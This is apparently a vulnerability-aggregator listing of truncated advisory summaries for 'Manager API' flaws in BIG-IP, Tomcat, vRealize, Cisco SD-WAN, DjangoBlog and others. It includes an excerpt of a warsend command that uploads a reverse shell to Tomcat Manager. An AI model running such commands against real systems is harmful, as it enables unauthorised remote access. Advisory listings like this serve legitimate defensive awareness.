Big-IP-Next-CVE-2024-26026

CVE-2024-26026 BIG-IP Next Central Manager API UNAUTHENTICATED SQL INJECTION link: https://eclypsium.com/blog/big-vulnerabilities-in-next-gen-big-ip/...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

CVE-2026-116017

The Xiaozhi-esp32-server software (versions before 0.9.8 ) is vulnerable to an Insecure Direct Object Reference (IDOR) flaw in the manager-api DeviceController.getAddressBook handler. This vulnerability allows authenticated users, including those with normal or self-registered accounts, to access...

EUVD-2026-109275

Xiaozhi-esp32-server before 0.9.8 contains an insecure direct object reference vulnerability in the manager-api DeviceController.getAddressBook handler that allows authenticated users to read other users' device address books. Attackers with a normal or self-registered account can request...

westone-CVE-2021-45232-scanner

westone-CVE-2021-45232-scanner Apache APISIX Dashboard earlier versions 2.10.1 has security vulnerability on unauthorized access. the Manager API uses two frameworks and introduces framework droplet on the basis of framework gin, all APIs and authentication middleware are developed based on...

CVE-2021-21983

CVE-2021-21975 VMware vRealize Operations vROps Manager API Arbitrary File Write Leads to Remote Code Execution RCE vRealize Operations vROps is a tool that self-driving IT operations management powered by AI from apps to infrastructure to optimize, plan and scale VMware Cloud and HCI deployments...

CVE-2024-26026

CVE-2024-26026 BIG-IP Next Central Manager API UNAUTHENTICATED SQL INJECTION link: https://eclypsium.com/blog/big-vulnerabilities-in-next-gen-big-ip/...

CVE-2026-71289 NASA-AMMOS ANMS / JHUAPL dtnma-tools Unauthenticated Remote Command Execution via Exposed AMP Manager REST API

The NASA-AMMOS Asynchronous Network Management System ANMS reference implementation's default docker-compose.yml publishes the amp-manager service's REST API directly to the host network interface port 8089, e.g. ":8089/tcp" with capadd: NETADMIN, NETRAW, SYSNICE, bypassing the CAM Configuration...

vRealize Operations Manager API - Server-Side Request Forgery Detection

vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983. !/usr/bin/env python3 -- coding: utf-8 --...

PT-2026-60750

A vulnerability was determined in poco-ai poco-claw up to 0.5.4. This vulnerability affects the function create task of the file executor manager/app/api/v1/tasks.py of the component executor manager API. Executing a manipulation can lead to missing authentication. The exploit has been publicly...

Exploit for CVE-2026-41940

cPanel/WHM Auth Bypass Scanner & Exploit Tool A Go command-li...

CVE-2026-41166: Improper Access Control

OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.1, a user who has write:admin in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including master. The handler uses the realm path segment when talking to the...

CVE-2026-6576

CVE-2026-6576 affects liangliangyy DjangoBlog (up to version 2.1.0.0) via the WeChat Bot Interface, specifically the servermanager/api/commonapi.py CommandHandler. The root cause is a vulnerability allowing manipulation of the Source argument to achieve command injection, with remote exploitation...

CVE-2026-6576

A vulnerability was determined in liangliangyy DjangoBlog up to 2.1.0.0. The affected element is the function CommandHandler of the file servermanager/api/commonapi.py of the component WeChat Bot Interface. Executing a manipulation of the argument Source can lead to command injection. It is...

PT-2026-33641

A vulnerability was determined in liangliangyy DjangoBlog up to 2.1.0.0. The affected element is the function CommandHandler of the file servermanager/api/commonapi.py of the component WeChat Bot Interface. Executing a manipulation of the argument Source can lead to command injection. It is...

VulnCheck KEV: CVE-2026-20122

Cisco Catalyst SD-WAN Manager contains an incorrect use of privileged APIs vulnerability due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow...

io.apiman:apiman-manager-api-jpa (>=3.0.0.rc6, <=3.1.3.final), io.apiman:apiman-manager-api-micro (>=3.0.0.rc6, <=3.1.3.final) +8 more potentially affected by CVE-2026-3293 via net.snowflake:snowflake-jdbc (3.13.21)

net.snowflake:snowflake-jdbc MAVEN version 3.13.21 is affected by a known vulnerability. The following packages have a transitive dependency on net.snowflake:snowflake-jdbc and may be impacted: - io.apiman:apiman-manager-api-jpa =3.0.0.rc6, =3.0.0.rc6, =3.0.0.rc6, =3.0.0.rc6, =4.15.0, =16.17.1,...

CVE-2026-20122

A vulnerability in the API of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to overwrite arbitrary files on the local file system. To exploit this vulnerability, the attacker must have valid read-only credentials with API access on the affected system. This...

PT-2026-21957

Name of the Vulnerable Software and Affected Versions Cisco Catalyst SD-WAN Manager affected versions not specified Description Insufficient file system access restrictions could allow an unauthenticated, remote attacker to view sensitive information on the underlying operating system. Exploitati...

CVE-2025-11004 Reflected XSS vulnerability in Simplicity Device Manager tool

The Simplicity Device Manager Tool has a Reflected XSS Cross-site-scripting vulnerability in several API endpoints. The attacker needs to be on the same network to execute this attack. These APIs can affect confidentiality, integrity, and availability of the system that has Simplicity Device...